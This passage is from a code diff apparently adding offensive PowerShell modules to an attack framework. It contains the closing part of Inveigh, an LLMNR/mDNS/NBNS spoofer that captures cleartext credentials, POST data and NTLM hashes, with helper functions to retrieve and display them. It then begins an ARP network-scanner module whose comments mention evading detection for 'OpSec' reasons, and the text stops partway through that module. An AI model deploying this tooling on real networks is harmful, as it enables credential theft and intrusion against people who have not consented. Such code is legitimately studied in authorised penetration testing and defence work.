$LLMNR_response_message).AddArgument($LLMNRTTL).AddArgument($mDNS).AddArgument( + $mDNS_response_message).AddArgument($mDNSTypes).AddArgument($mDNSTTL).AddArgument( + $NBNS).AddArgument($NBNS_response_message).AddArgument($NBNSTypes).AddArgument($NBNSTTL).AddArgument( + $SMB).AddArgument($SpooferHostsIgnore).AddArgument($SpooferHostsReply).AddArgument( + $SpooferIP).AddArgument($SpooferIPsIgnore).AddArgument($SpooferIPsReply).AddArgument( + $SpooferLearning).AddArgument($SpooferLearningDelay).AddArgument($SpooferLearningInterval) > $null + $sniffer_powershell.BeginInvoke() > $null +} + +# Unprivileged LLMNR Spoofer Startup Function +function LLMNRSpoofer() +{ + $LLMNR_spoofer_runspace = [RunspaceFactory]::CreateRunspace() + $LLMNR_spoofer_runspace.Open() + $LLMNR_spoofer_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $LLMNR_spoofer_powershell = [PowerShell]::Create() + $LLMNR_spoofer_powershell.Runspace = $LLMNR_spoofer_runspace + $LLMNR_spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $LLMNR_spoofer_powershell.AddScript($LLMNR_spoofer_scriptblock).AddArgument($Inspect).AddArgument( + $LLMNR_response_message).AddArgument($SpooferIP).AddArgument($SpooferHostsReply).AddArgument( + $SpooferHostsIgnore).AddArgument($SpooferIPsReply).AddArgument($SpooferIPsIgnore).AddArgument( + $LLMNRTTL) > $null + $LLMNR_spoofer_powershell.BeginInvoke() > $null +} + +# Unprivileged mDNS Spoofer Startup Function +function mDNSSpoofer() +{ + $mDNS_spoofer_runspace = [RunspaceFactory]::CreateRunspace() + $mDNS_spoofer_runspace.Open() + $mDNS_spoofer_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $mDNS_spoofer_powershell = [PowerShell]::Create() + $mDNS_spoofer_powershell.Runspace = $mDNS_spoofer_runspace + $mDNS_spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $mDNS_spoofer_powershell.AddScript($mDNS_spoofer_scriptblock).AddArgument($Inspect).AddArgument( + $mDNS_response_message).AddArgument($mDNSTTL).AddArgument($mDNSTypes).AddArgument($SpooferIP).AddArgument( + $SpooferHostsReply).AddArgument($SpooferHostsIgnore).AddArgument($SpooferIPsReply).AddArgument( + $SpooferIPsIgnore) > $null + $mDNS_spoofer_powershell.BeginInvoke() > $null +} + +# Unprivileged NBNS Spoofer Startup Function +function NBNSSpoofer() +{ + $NBNS_spoofer_runspace = [RunspaceFactory]::CreateRunspace() + $NBNS_spoofer_runspace.Open() + $NBNS_spoofer_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $NBNS_spoofer_powershell = [PowerShell]::Create() + $NBNS_spoofer_powershell.Runspace = $NBNS_spoofer_runspace + $NBNS_spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $NBNS_spoofer_powershell.AddScript($NBNS_spoofer_scriptblock).AddArgument($Inspect).AddArgument( + $NBNS_response_message).AddArgument($SpooferIP).AddArgument($NBNSTypes).AddArgument( + $SpooferHostsReply).AddArgument($SpooferHostsIgnore).AddArgument($SpooferIPsReply).AddArgument( + $SpooferIPsIgnore).AddArgument($NBNSTTL) > $null + $NBNS_spoofer_powershell.BeginInvoke() > $null +} + +# NBNS Brute Force Spoofer Startup Function +function NBNSBruteForceSpoofer() +{ + $NBNS_bruteforce_spoofer_runspace = [RunspaceFactory]::CreateRunspace() + $NBNS_bruteforce_spoofer_runspace.Open() + $NBNS_bruteforce_spoofer_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $NBNS_bruteforce_spoofer_powershell = [PowerShell]::Create() + $NBNS_bruteforce_spoofer_powershell.Runspace = $NBNS_bruteforce_spoofer_runspace + $NBNS_bruteforce_spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $NBNS_bruteforce_spoofer_powershell.AddScript($NBNS_bruteforce_spoofer_scriptblock).AddArgument( + $SpooferIP).AddArgument($NBNSBruteForceHost).AddArgument($NBNSBruteForceTarget).AddArgument( + $NBNSBruteForcePause).AddArgument($NBNSTTL) > $null + $NBNS_bruteforce_spoofer_powershell.BeginInvoke() > $null +} + +# Control Loop Startup Function +function ControlLoop() +{ + $control_runspace = [RunspaceFactory]::CreateRunspace() + $control_runspace.Open() + $control_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $control_powershell = [PowerShell]::Create() + $control_powershell.Runspace = $control_runspace + $control_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $control_powershell.AddScript($control_scriptblock).AddArgument($ConsoleQueueLimit).AddArgument( + $NBNSBruteForcePause).AddArgument($RunCount).AddArgument($RunTime) > $null + $control_powershell.BeginInvoke() > $null +} + +# End Startup Functions + +# Startup Enabled Services + +# HTTP Server Start +if($HTTP -eq 'Y') +{ + HTTPListener +} + +# HTTPS Server Start +if($HTTPS -eq 'Y') +{ + HTTPSListener +} + +# Proxy Server Start +if($Proxy -eq 'Y') +{ + ProxyListener +} + +# Sniffer/Spoofer Start +if(($LLMNR -eq 'Y' -or $mDNS -eq 'Y' -or $NBNS -eq 'Y' -or $SMB -eq 'Y' -or $Inspect) -and $elevated_privilege) +{ + SnifferSpoofer +} +elseif(($LLMNR -eq 'Y' -or $mDNS -eq 'Y' -or $NBNS -eq 'Y' -or $SMB -eq 'Y') -and !$elevated_privilege) +{ + + if($LLMNR -eq 'Y') + { + LLMNRSpoofer + } + + if($mDNS -eq 'Y') + { + mDNSSpoofer + } + + if($NBNS -eq 'Y') + { + NBNSSpoofer + } + + if($NBNSBruteForce -eq 'Y') + { + NBNSBruteForceSpoofer + } + +} + +# NBNSBruteForce Spoofer Start +if($NBNSBruteForce -eq 'Y') +{ + NBNSBruteForceSpoofer +} + +# Control Loop Start +if($ConsoleQueueLimit -ge 0 -or $inveigh.file_output -or $NBNSBruteForcePause -or $RunCount -or $RunTime) +{ + ControlLoop +} + +# Console Output Loop +try +{ + + if($inveigh.console_output) + { + + if($ConsoleStatus) + { + $console_status_timeout = New-TimeSpan -Minutes $ConsoleStatus + $console_status_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() + } + + :console_loop while(($inveigh.running -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output)) + { + + while($inveigh.console_queue.Count -gt 0) + { + + switch -wildcard ($inveigh.console_queue[0]) + { + + {$_ -like "* written to *" -or $_ -like "* for relay *" -or $_ -like "*SMB relay *" -or $_ -like "* local administrator *"} + { + + if($inveigh.output_stream_only) + { + Write-Output($inveigh.console_queue[0] + $inveigh.newline) + } + else + { + Write-Warning($inveigh.console_queue[0]) + } + + $inveigh.console_queue.RemoveAt(0) + } + + {$_ -like "* spoofer is disabled" -or $_ -like "* local request" -or $_ -like "* host header *" -or $_ -like "* user agent received *"} + { + + if($ConsoleOutput -eq 'Y') + { + + if($inveigh.output_stream_only) + { + Write-Output($inveigh.console_queue[0] + $inveigh.newline) + } + else + { + Write-Output($inveigh.console_queue[0]) + } + + } + + $inveigh.console_queue.RemoveAt(0) + + } + + {$_ -like "* response sent" -or $_ -like "* ignoring *" -or $_ -like "* HTTP*request for *" -or $_ -like "* Proxy request for *"} + { + + if($ConsoleOutput -ne "Low") + { + + if($inveigh.output_stream_only) + { + Write-Output($inveigh.console_queue[0] + $inveigh.newline) + } + else + { + Write-Output($inveigh.console_queue[0]) + } + + } + + $inveigh.console_queue.RemoveAt(0) + + } + + default + { + + if($inveigh.output_stream_only) + { + Write-Output($inveigh.console_queue[0] + $inveigh.newline) + } + else + { + Write-Output($inveigh.console_queue[0]) + } + + $inveigh.console_queue.RemoveAt(0) + } + + } + + } + + if($ConsoleStatus -and $console_status_stopwatch.Elapsed -ge $console_status_timeout) + { + + if($inveigh.cleartext_list.Count -gt 0) + { + Write-Output("$(Get-Date -format 's') - Current unique cleartext captures:" + $inveigh.newline) + $inveigh.cleartext_list.Sort() + + foreach($unique_cleartext in $inveigh.cleartext_list) + { + if($unique_cleartext -ne $unique_cleartext_last) + { + Write-Output($unique_cleartext + $inveigh.newline) + } + + $unique_cleartext_last = $unique_cleartext + } + + Start-Sleep -m 5 + } + else + { + Write-Output("$(Get-Date -format 's') - No cleartext credentials have been captured" + $inveigh.newline) + } + + if($inveigh.POST_request_list.Count -gt 0) + { + Write-Output("$(Get-Date -format 's') - Current unique POST request captures:" + $inveigh.newline) + $inveigh.POST_request_list.Sort() + + foreach($unique_POST_request in $inveigh.POST_request_list) + { + if($unique_POST_request -ne $unique_POST_request_last) + { + Write-Output($unique_POST_request + $inveigh.newline) + } + + $unique_POST_request_last = $unique_POST_request + } + + Start-Sleep -m 5 + } + + if($inveigh.NTLMv1_list.Count -gt 0) + { + Write-Output("$(Get-Date -format 's') - Current unique NTLMv1 challenge/response captures:" + $inveigh.newline) + $inveigh.NTLMv1_list.Sort() + + foreach($unique_NTLMv1 in $inveigh.NTLMv1_list) + { + $unique_NTLMv1_account = $unique_NTLMv1.SubString(0,$unique_NTLMv1.IndexOf(":",($unique_NTLMv1.IndexOf(":") + 2))) + + if($unique_NTLMv1_account -ne $unique_NTLMv1_account_last) + { + Write-Output($unique_NTLMv1 + $inveigh.newline) + } + + $unique_NTLMv1_account_last = $unique_NTLMv1_account + } + + $unique_NTLMv1_account_last = '' + Start-Sleep -m 5 + Write-Output("$(Get-Date -format 's') - Current NTLMv1 IP addresses and usernames:" + $inveigh.newline) + + foreach($NTLMv1_username in $inveigh.NTLMv1_username_list) + { + Write-Output($NTLMv1_username + $inveigh.newline) + } + + Start-Sleep -m 5 + } + else + { + Write-Output("$(Get-Date -format 's') - No NTLMv1 challenge/response hashes have been captured" + $inveigh.newline) + } + + if($inveigh.NTLMv2_list.Count -gt 0) + { + Write-Output("$(Get-Date -format 's') - Current unique NTLMv2 challenge/response captures:" + $inveigh.newline) + $inveigh.NTLMv2_list.Sort() + + foreach($unique_NTLMv2 in $inveigh.NTLMv2_list) + { + $unique_NTLMv2_account = $unique_NTLMv2.SubString(0,$unique_NTLMv2.IndexOf(":",($unique_NTLMv2.IndexOf(":") + 2))) + + if($unique_NTLMv2_account -ne $unique_NTLMv2_account_last) + { + Write-Output($unique_NTLMv2 + $inveigh.newline) + } + + $unique_NTLMv2_account_last = $unique_NTLMv2_account + } + + $unique_NTLMv2_account_last = '' + Start-Sleep -m 5 + Write-Output("$(Get-Date -format 's') - Current NTLMv2 IP addresses and usernames:" + $inveigh.newline) + + foreach($NTLMv2_username in $inveigh.NTLMv2_username_list) + { + Write-Output($NTLMv2_username + $inveigh.newline) + } + + } + else + { + Write-Output("$(Get-Date -format 's') - No NTLMv2 challenge/response hashes have been captured" + $inveigh.newline) + } + + $console_status_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() + + } + + if($inveigh.console_input) + { + + if([Console]::KeyAvailable) + { + $inveigh.console_output = $false + BREAK console_loop + } + + } + + Start-Sleep -m 5 + } + + } + +} +finally +{ + + if($Tool -eq 2) + { + $inveigh.running = $false + } + +} + +} +#End Invoke-Inveigh + +function Stop-Inveigh +{ +<# +.SYNOPSIS +Stop-Inveigh will stop all running Inveigh functions. +#> + +if($inveigh) +{ + + if($inveigh.running -or $inveigh.relay_running) + { + + if($inveigh.HTTPS -and !$inveigh.HTTPS_existing_certificate -or ($inveigh.HTTPS_existing_certificate -and $inveigh.HTTPS_force_certificate_delete)) + { + + try + { + $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") + $certificate_store.Open('ReadWrite') + $certificates = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -Like "CN=" + $inveigh.certificate_issuer}) + + ForEach($certificate in $certificates) + { + $certificate_store.Remove($certificate) + } + + $certificate_store.Close() + } + catch + { + Write-Output("SSL Certificate Deletion Error - Remove Manually") + + if($inveigh.file_output) + { + "$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually" | Out-File $Inveigh.log_out_file -Append + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") > $null + } + + } + + } + + if($inveigh.relay_running) + { + + if($inveigh.file_output) + { + "$(Get-Date -format 's') - Inveigh Relay exited" | Out-File $Inveigh.log_out_file -Append + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - Inveigh Relay exited") > $null + } + + Write-Output("Inveigh Relay exited at $(Get-Date -format 's')") + $inveigh.relay_running = $false + + } + + if($inveigh.running) + { + + if($inveigh.file_output) + { + "$(Get-Date -format 's') - Inveigh exited" | Out-File $Inveigh.log_out_file -Append + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - Inveigh exited") > $null + } + + Write-Output("Inveigh exited at $(Get-Date -format 's')") + $inveigh.running = $false + + } + + $inveigh.HTTPS = $false + Start-Sleep -S 5 + } + else + { + Write-Output("There are no running Inveigh functions") + } + +} + +} + +function Get-Inveigh +{ +<# +.SYNOPSIS +Get-Inveigh will get stored Inveigh data from memory. + +.PARAMETER Console +Get queued console output. This is also the default if no parameters are set. + +.PARAMETER Learning +Get valid hosts discovered through spoofer learning. + +.PARAMETER Log +Get log entries. + +.PARAMETER Cleartext +Get captured cleartext credentials. + +.PARAMETER CleartextUnique +Get unique captured cleartext credentials. + +.PARAMETER NTLMv1 +Get captured NTLMv1 challenge/response hashes. + +.PARAMETER NTLMv1Unique +Get the first captured NTLMv1 challenge/response for each unique account. + +.PARAMETER NTLMv1Usernames +Get IP addresses and usernames for captured NTLMv2 challenge/response hashes. + +.PARAMETER NTLMv2 +Get captured NTLMv1 challenge/response hashes. + +.PARAMETER NTLMv2Unique +Get the first captured NTLMv2 challenge/response for each unique account. + +.PARAMETER NTLMv2Usernames +Get IP addresses and usernames for captured NTLMv2 challenge/response hashes. + +.PARAMETER POSTRequest +Get captured POST requests. + +.PARAMETER POSTRequestUnique +Get unique captured POST request. +#> + +[CmdletBinding()] +param +( + [parameter(Mandatory=$false)][Switch]$Cleartext, + [parameter(Mandatory=$false)][Switch]$CleartextUnique, + [parameter(Mandatory=$false)][Switch]$Console, + [parameter(Mandatory=$false)][Switch]$Learning, + [parameter(Mandatory=$false)][Switch]$Log, + [parameter(Mandatory=$false)][Switch]$NTLMv1, + [parameter(Mandatory=$false)][Switch]$NTLMv2, + [parameter(Mandatory=$false)][Switch]$NTLMv1Unique, + [parameter(Mandatory=$false)][Switch]$NTLMv2Unique, + [parameter(Mandatory=$false)][Switch]$NTLMv1Usernames, + [parameter(Mandatory=$false)][Switch]$NTLMv2Usernames, + [parameter(Mandatory=$false)][Switch]$POSTRequest, + [parameter(Mandatory=$false)][Switch]$POSTRequestUnique, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter +) + +if($Console -or $PSBoundParameters.Count -eq 0) +{ + + while($inveigh.console_queue.Count -gt 0) + { + + if($inveigh.output_stream_only) + { + Write-Output($inveigh.console_queue[0] + $inveigh.newline) + $inveigh.console_queue.RemoveAt(0) + } + else + { + + switch -wildcard ($inveigh.console_queue[0]) + { + + {$_ -like "* written to *" -or $_ -like "* for relay *" -or $_ -like "*SMB relay *" -or $_ -like "* local administrator *"} + { + Write-Warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveAt(0) + } + + default + { + Write-Output $inveigh.console_queue[0] + $inveigh.console_queue.RemoveAt(0) + } + + } + + } + + } + +} + +if($Log) +{ + Write-Output $inveigh.log +} + +if($NTLMv1) +{ + Write-Output $inveigh.NTLMv1_list +} + +if($NTLMv1Unique) +{ + $inveigh.NTLMv1_list.Sort() + + foreach($unique_NTLMv1 in $inveigh.NTLMv1_list) + { + $unique_NTLMv1_account = $unique_NTLMv1.SubString(0,$unique_NTLMv1.IndexOf(":",($unique_NTLMv1.IndexOf(":") + 2))) + + if($unique_NTLMv1_account -ne $unique_NTLMv1_account_last) + { + Write-Output $unique_NTLMv1 + } + + $unique_NTLMv1_account_last = $unique_NTLMv1_account + } + +} + +if($NTLMv1Usernames) +{ + Write-Output $inveigh.NTLMv2_username_list +} + +if($NTLMv2) +{ + Write-Output $inveigh.NTLMv2_list +} + +if($NTLMv2Unique) +{ + $inveigh.NTLMv2_list.Sort() + + foreach($unique_NTLMv2 in $inveigh.NTLMv2_list) + { + $unique_NTLMv2_account = $unique_NTLMv2.SubString(0,$unique_NTLMv2.IndexOf(":",($unique_NTLMv2.IndexOf(":") + 2))) + + if($unique_NTLMv2_account -ne $unique_NTLMv2_account_last) + { + Write-Output $unique_NTLMv2 + } + + $unique_NTLMv2_account_last = $unique_NTLMv2_account + } + +} + +if($NTLMv2Usernames) +{ + Write-Output $inveigh.NTLMv2_username_list +} + +if($Cleartext) +{ + Write-Output $inveigh.cleartext_list +} + +if($CleartextUnique) +{ + Write-Output $inveigh.cleartext_list | Get-Unique +} + +if($POSTRequest) +{ + Write-Output $inveigh.POST_request_list +} + +if($POSTRequestUnique) +{ + Write-Output $inveigh.POST_request_list | Get-Unique +} + +if($Learning) +{ + Write-Output $inveigh.valid_host_list +} + +} + +function Watch-Inveigh +{ +<# +.SYNOPSIS +Watch-Inveigh will enabled real time console output. If using this function through a shell, test to ensure that it doesn't hang the shell. + +.PARAMETER ConsoleOutput +(Medium,Low) Medium and Low can be used to reduce output. +#> + +[CmdletBinding()] +param +( + [parameter(Mandatory=$false)][ValidateSet("Low","Medium")][String]$ConsoleOutput = "Y", + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter +) + +if($inveigh.tool -ne 1) +{ + + if($inveigh.running -or $inveigh.relay_running) + { + Write-Output "Press any key to stop real time console output" + $inveigh.console_output = $true + + :console_loop while((($inveigh.running -or $inveigh.relay_running) -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output)) + { + + while($inveigh.console_queue.Count -gt 0) + { + + switch -wildcard ($inveigh.console_queue[0]) + { + + {$_ -like "* written to *" -or $_ -like "* for relay *" -or $_ -like "*SMB relay *" -or $_ -like "* local administrator *"} + { + Write-Warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveAt(0) + } + + {$_ -like "* spoofer is disabled" -or $_ -like "* local request" -or $_ -like "* host header *" -or $_ -like "* user agent received *"} + { + + if($ConsoleOutput -eq 'Y') + { + Write-Output $inveigh.console_queue[0] + } + + $inveigh.console_queue.RemoveAt(0) + + } + + {$_ -like "* response sent" -or $_ -like "* ignoring *" -or $_ -like "* HTTP*request for *" -or $_ -like "* Proxy request for *"} + { + + if($ConsoleOutput -ne "Low") + { + Write-Output $inveigh.console_queue[0] + } + + $inveigh.console_queue.RemoveAt(0) + + } + + default + { + Write-Output $inveigh.console_queue[0] + $inveigh.console_queue.RemoveAt(0) + } + + } + + } + + if([Console]::KeyAvailable) + { + $inveigh.console_output = $false + BREAK console_loop + } + + Start-Sleep -m 5 + } + + } + else + { + Write-Output "Inveigh isn't running" + } + +} +else +{ + Write-Output "Watch-Inveigh cannot be used with current external tool selection" +} + +} + +function Clear-Inveigh +{ +<# +.SYNOPSIS +Clear-Inveigh will clear Inveigh data from memory. +#> + +if($inveigh) +{ + + if(!$inveigh.running -and !$inveigh.relay_running) + { + Remove-Variable inveigh -scope global + Write-Output "Inveigh data has been cleared from memory" + } + else + { + Write-Output "Run Stop-Inveigh before running Clear-Inveigh" + } + +} + +} \ No newline at end of file diff --git a/Modules/Invoke-Arpscan.ps1 b/Modules/Invoke-Arpscan.ps1 new file mode 100644 index 0000000..0e809c5 --- /dev/null +++ b/Modules/Invoke-Arpscan.ps1 @@ -0,0 +1,527 @@ +<# +.Synopsis + ArpScanner + + PortScan / EgressBuster 2017 + Ben Turner @benpturner + Rob Maslen @rbmaslen + +.DESCRIPTION + Powershell ArpScanner using C# AssemblyLoad. This uses [DllImport("iphlpapi.dll", ExactSpelling=true)] to Export 'SendARP' + + Uses [DllImport("ws2_32.dll", SetLastError = true)] for Resolution + + By default it will loop through all interfaces and perform an arpscan of the local network based on the IP Address and Subnet mask provided by the network adaptor. + + The C# Code has been included but for OpSec purposes it uses AssemblyLoad and not AddType + +.EXAMPLE + PS C:\> Invoke-Arpscan +.EXAMPLE + PS C:\> Invoke-Arpscan -Resolve +.EXAMPLE + PS C:\> ArpScan -Resolve +.EXAMPLE + PS C:\> Invoke-Arpscan -IPCidr 10.0.0.1/24 +.EXAMPLE + PS C:\> Invoke-Arpscan -IPCidr 10.0.0.1/24 -AddType -Resolve + +#> +$arploaded = $null +function Invoke-Arpscan { + +param ( + [Parameter(Mandatory = $False)] + [string]$IPCidr, + [Parameter(Mandatory=$False)] + [switch]$Resolve, + [Parameter(Mandatory=$False)] + [switch]$AddType +) + +if ($AddType.IsPresent) { + +echo "[+] Loading Assembly using AddType" +echo "" + +Add-Type -TypeDefinition @" +using System; +using System.Net; +using System.Runtime.InteropServices; +using System.Threading; +using System.Collections; +using System.Collections.Generic; +using System.Text.RegularExpressions; +using System.Net.Sockets; + +public class ArpScanner +{ + public class MacState + { + public Int32 Counter = 0; + public AutoResetEvent DoneEvent = new AutoResetEvent(false); + public Dictionary Results + { + get { return _results; } + set { _results = value; } + } + Dictionary _results; + } + public class IPQueryState + { + public IPQueryState(MacState state) + { + CurrentState = state; + } + public MacState CurrentState { get { return _currentState; } private set { _currentState = value; } } + MacState _currentState; + + public string Query { get { return _query; } set { _query = value; } } + String _query; + } + + public Dictionary DoScan(String ipString) + { + return DoScan(ipString, 100); + } + + + public Dictionary DoScan(String ipString, ushort maxThreads) + { + ThreadPool.SetMaxThreads(maxThreads, maxThreads); + Dictionary Results = new Dictionary(); + if ((!ipString.StartsWith("127.0.0.1")) && !ipString.StartsWith("169")) + { + MacState state = new MacState(); + state.Results = Results; + if (ArpScanner.IPv4Tools.IsIPRangeFormat(ipString)) + { + ArpScanner.IPv4Tools.IPRange iprange = IPv4Tools.IPEnumerator[ipString]; + + foreach (string n in iprange) + { + state.Counter++; + } + + foreach (string ip in iprange) + { + IPQueryState ipq = new IPQueryState(state); + ipq.Query = ip; + ThreadPool.QueueUserWorkItem(GetMAC, ipq); + } + state.DoneEvent.WaitOne(); + } + else + { + IPQueryState ipq = new IPQueryState(state); + ipq.Query = ipString; + GetMAC(ipq); + } + + + } + return Results; + } + public static String gethostbyaddrNetBIOS(String ipaddress) + { + try + { + IPAddress src = IPAddress.Parse(ipaddress); + uint intAddress = BitConverter.ToUInt32(src.GetAddressBytes(), 0); + IntPtr nameInt = Kernel32Imports.gethostbyaddr(ref intAddress, 4, ProtocolFamily.NetBios); + IntPtr name = Marshal.ReadIntPtr(nameInt); + String NetbiosName = Marshal.PtrToStringAnsi(name); + return NetbiosName; + } + catch + { + return "N/A"; + } + + } + static void GetMAC(object state) + { + IPQueryState queryState = state as IPQueryState; + try + { + IPAddress dst = null; + if (!IPAddress.TryParse(queryState.Query, out dst)) + { + Console.WriteLine(String.Format("IP Address {0} is invalid ", queryState.Query)); + return; + } + + uint uintAddress = BitConverter.ToUInt32(dst.GetAddressBytes(), 0); + byte[] macAddr = new byte[6]; + int macAddrLen = macAddr.Length; + int retValue = Kernel32Imports.SendARP(uintAddress, 0, macAddr, ref macAddrLen); + if (retValue != 0) + { + return; + } + string[] str = new string[(int)macAddrLen]; + for (int i = 0; i < macAddrLen; i++) + str[i] = macAddr[i].ToString("x2"); + string mac = string.Join(":", str); + + if (queryState.Query != null && mac != null) + queryState.CurrentState.Results.Add(queryState.Query, mac); + + } + finally + { + int temp = 0; + if ((temp = Interlocked.Decrement(ref queryState.CurrentState.Counter)) == 0) + queryState.CurrentState.DoneEvent.Set(); + } + } + + static class Kernel32Imports + { + [DllImport("iphlpapi.dll", ExactSpelling = true)] + public static extern int SendARP(uint DestIP, uint SrcIP, byte[] pMacAddr, ref int PhyAddrLen); + [DllImport("ws2_32.dll", SetLastError = true)] + internal static extern IntPtr gethostbyaddr( + [In] ref uint addr, + [In] int len, + [In] ProtocolFamily type + ); + } + + class IPv4Tools + { + private static readonly Regex _ipCidrRegex = new Regex(@"^(?(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]))(\/(?(\d|[1-2]\d|3[0-2])))$"); + private static readonly Regex _ipRegex = new Regex(@"^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$"); + private static readonly Regex _ipRangeRegex = new Regex(@"^(?(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}(?([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])))(\-(?([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])))$"); + + public static IPv4Tools IPEnumerator + { + get + { + return new IPv4Tools(); + } + } + + public IPRange this[string value] + { + get + { + return new IPRange(value); + } + } + + public static bool IsIPRangeFormat(string IpRange) + { + return (_ipCidrRegex.Match(IpRange).Success || _ipRangeRegex.Match(IpRange).Success); + } + + public static bool IsIPCidr(string ip_cidr) + { + return _ipCidrRegex.Match(ip_cidr).Success; + } + + public static bool IsIPRange(string IpRange) + { + return _ipRangeRegex.Match(IpRange).Success; + } + + public static bool IsIP(string ip) + { + return _ipRegex.Match(ip).Success; + } + + public static Match IpCidrMatch(string ip_cidr) + { + return _ipCidrRegex.Match(ip_cidr); + } + + public static Match IpRangeMatch(string IpRange) + { + return _ipRangeRegex.Match(IpRange); + } + + public class IPRange : IEnumerable + { + string _ip_cidr; + public IPRange(string ip_cidr) + { + _ip_cidr = ip_cidr; + } + + public IEnumerator GetEnumerator() + { + return new IPRangeEnumerator(_ip_cidr); + } + + private IEnumerator GetEnumerator1() + { + return this.GetEnumerator(); + } + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator1(); + } + } + + class IPRangeEnumerator : IEnumerator + { + string _ipcidr = null; + UInt32 _loAddr; + UInt32 _hiAddr; + UInt32? _current = null; + + public IPRangeEnumerator(string ip_cidr) + { + _ipcidr = ip_cidr; + Match cidrmch = IPv4Tools.IpCidrMatch(ip_cidr); + Match rangeMch = IPv4Tools.IpRangeMatch(ip_cidr); + if (cidrmch.Success) + ProcessCidrRange(cidrmch); + else if (rangeMch.Success) + ProcessIPRange(rangeMch); + + if (!cidrmch.Success && !rangeMch.Success) + throw new Exception("IP Range must either be in IP/CIDR or IP to-from format"); + } + public void ProcessIPRange(Match rangeMch) + { + System.Net.IPAddress startIp = IPAddress.Parse(rangeMch.Groups["ip"].Value); + ushort fromRange = ushort.Parse(rangeMch.Groups["from"].Value); + ushort toRange = ushort.Parse(rangeMch.Groups["to"].Value); + + if (fromRange > toRange) + throw new Exception("IP Range the from must be less than the to"); + else if (toRange > 254) + throw new Exception("IP Range the to must be less than 254"); + else + { + byte[] arrIpBytes = startIp.GetAddressBytes(); + Array.Reverse(arrIpBytes); + uint ipuint = System.BitConverter.ToUInt32(arrIpBytes, 0); + _loAddr = ipuint; + _hiAddr = ipuint + ((uint)(toRange - fromRange)) + 1; + } + } + + public void ProcessCidrRange(Match cidrmch) + { + System.Net.IPAddress ip = IPAddress.Parse(cidrmch.Groups["ip"].Value); + Int32 cidr = Int32.Parse(cidrmch.Groups["cidr"].Value); + + if (cidr <= 0) + throw new Exception("CIDR can't be negative"); + else if (cidr > 32) + throw new Exception("CIDR can't be more 32"); + else if (cidr == 32) + { + byte[] arrIpBytes = ip.GetAddressBytes(); + Array.Reverse(arrIpBytes); + UInt32 ipuint = System.BitConverter.ToUInt32(arrIpBytes, 0); + _loAddr = ipuint; + _hiAddr = ipuint; + } + else + { + byte[] arrIpBytes = ip.GetAddressBytes(); + Array.Reverse(arrIpBytes); + UInt32 ipuint = System.BitConverter.ToUInt32(arrIpBytes, 0); + uint umsk = uint.MaxValue >> cidr; + uint lmsk = (umsk ^ uint.MaxValue); + _loAddr = ipuint & lmsk; + _hiAddr = ipuint | umsk; + } + } + + UInt32 HostToNetwork(UInt32 host) + { + byte[] hostBytes = System.BitConverter.GetBytes(host); + Array.Reverse(hostBytes); + return System.BitConverter.ToUInt32(hostBytes, 0); + } + + public string Current + { + get + { + if (String.IsNullOrEmpty(_ipcidr) || !_current.HasValue) + throw new InvalidOperationException(); + + return IPv4Tools.UIntToIpString(HostToNetwork(_current.Value)); + } + } + + public bool MoveNext() + { + if (!_current.HasValue) + { + _current = _loAddr; + if (_current == _hiAddr) //handles if /32 used + return true; + } + else + _current++; + + if ((0xFF & _current) == 0 || (0xFF & _current) == 255) + _current++; + + if (_current < _hiAddr) + return true; + else + return false; + } + + public void Reset() + { + _current = _loAddr; + if ((0xFF & _current) == 0 || (0xFF & _current) == 255) + _current++; + } + + object Current1 + { + get { return this.Current; } + } + + object IEnumerator.Current + { + get { return Current1; } + } + + public void Dispose() + { } + } + static string UIntToIpString(UInt32 address) + { + int num1 = 15; + char[] chPtr = new char[15]; + int num2 = (int)(address >> 24 & (long)byte.MaxValue); + do + { + chPtr[--num1] = (char)(48 + num2 % 10); + num2 /= 10; + } + while (num2 > 0); + int num3; + chPtr[num3 = num1 - 1] = '.'; + int num4 = (int)(address >> 16 & (long)byte.MaxValue); + do + { + chPtr[--num3] = (char)(48 + num4 % 10); + num4 /= 10; + } + while (num4 > 0); + int num5; + chPtr[num5 = num3 - 1] = '.'; + int num6 = (int)(address >> 8 & (long)byte.MaxValue); + do + { + chPtr[--num5] = (char)(48 + num6 % 10); + num6 /= 10; + } + while (num6 > 0); + + int startIndex; + chPtr[startIndex = num5 - 1] = '.'; + int num7 = (int)(address & (long)byte.MaxValue); + do + { + chPtr[--startIndex] = (char)(48 + num7 % 10); + num7 /= 10; + } + while (num7 > 0); + + return new 